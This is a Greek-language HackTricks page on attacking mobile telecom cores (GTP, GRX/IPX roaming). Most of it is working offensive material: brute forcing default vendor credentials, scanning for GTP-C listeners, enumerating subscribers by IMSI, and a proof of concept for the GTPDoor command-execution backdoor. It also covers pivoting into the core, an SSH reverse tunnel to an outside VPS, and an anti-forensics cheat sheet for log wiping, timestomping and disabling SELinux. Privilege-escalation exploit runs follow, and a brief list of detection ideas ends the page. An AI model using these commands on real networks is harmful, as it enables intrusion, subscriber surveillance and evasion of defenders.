Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

note

Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή διακινούνται μέσω απλού UDP με σχεδόν καμία αυθεντικοποίηση, οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας στους πυρήνες σήμανσης. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης επίθεσης:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Αν η συσκευή εκθέτει μόνο ένα VRF διαχείρισης, κάντε pivot μέσω ενός jump host πρώτα (δείτε την ενότητα «SGSN Emu Tunnel» παρακάτω).

1.2 Ανακάλυψη Φιλοξενουμένων μέσα στο GRX/IPX

Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν ICMP echo μέσω του backbone. Συνδυάστε το masscan με τους ενσωματωμένους UDP probes gtpv1 για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Απαρίθμηση Συνδρομητών – cordscan

Το παρακάτω εργαλείο Go δημιουργεί πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα SGSN / MME που εξυπηρετεί την ερωτηθείσα IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Κύριες σημαίες:

  • --imsi Στοχευόμενος συνδρομητής IMSI
  • --oper Οικιακός / HNI (MCC+MNC)
  • -w Γράψτε ακατέργαστα πακέτα σε pcap

Σημαντικές σταθερές μέσα στο δυαδικό αρχείο μπορούν να διορθωθούν για να διευρύνουν τις σάρωσεις:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Εκτέλεση Κώδικα μέσω GTP – GTPDoor

GTPDoor είναι μια μικρή υπηρεσία ELF που δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C. Όταν το payload ξεκινά με μια προ-μοιρασμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του /bin/sh -c. Η stdout/stderr εξάγονται μέσα σε μηνύματα Echo Response έτσι ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.

Ελάχιστο πακέτο PoC (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Ανίχνευση:

  • οποιοσδήποτε κόμβος στέλνει μη ισορροπημένα Echo Requests σε IP SGSN
  • η σημαία έκδοσης GTP ρυθμισμένη σε 1 ενώ ο τύπος μηνύματος = 1 (Echo) – απόκλιση από την προδιαγραφή

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN παρέχει έναν εξομοιωτή SGSN ικανό να δημιουργήσει ένα PDP context προς έναν πραγματικό GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0 προσβάσιμη από τον περιπλανώμενο ομότιμο.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Με σωστό hair-pinning του firewall, αυτό το τούνελ παρακάμπτει τα VLAN που χρησιμοποιούνται μόνο για σήματα και σας προσγειώνει απευθείας στο data plane.

4.2 SSH Reverse Tunnel over Port 53

Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στο :53 και επιστρέψτε αργότερα από το σπίτι:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Ελέγξτε ότι το GatewayPorts yes είναι ενεργοποιημένο στον VPS.

5. Κρυφά Κανάλια

ΚανάλιΜεταφοράΑποκωδικοποίησηΣημειώσεις
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)καθαρός παθητικός ακροατής, χωρίς εξερχόμενη κίνηση
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) κωδικοποιημένο σε A-record octetsπαρακολουθεί για *.nodep υποτομέα
GTP – GTPDoorUDP 2123AES-128-CBC blob σε ιδιωτικό IEαναμειγνύεται με νόμιμο GTP-C θόρυβο

Όλοι οι εμφυτευμένοι υλοποιούν watchdogs που timestomp τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.

6. Cheatsheet Αποφυγής Άμυνας

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Κλιμάκωση Δικαιωμάτων σε Κληρονομημένα NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Συμβουλή καθαρισμού:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Εργαλειοθήκη

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.
  • FScan : εσωτερικές σάρωσεις TCP (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS κακόβουλο WPAD
  • Microsocks + ProxyChains : ελαφρύ SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / σύνδεση πόρων

Ιδέες Ανίχνευσης

  1. Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί αιτήματα Δημιουργίας PDP Context.
  2. Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes από εσωτερικές IP.
  3. Συχνά Echo Requests χωρίς αντίστοιχες Echo Responses – μπορεί να υποδηλώνει GTPDoor beacons.
  4. Υψηλός ρυθμός κυκλοφορίας ICMP echo-reply με μεγάλα, μη μηδενικά πεδία αναγνωριστικού/ακολουθίας.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks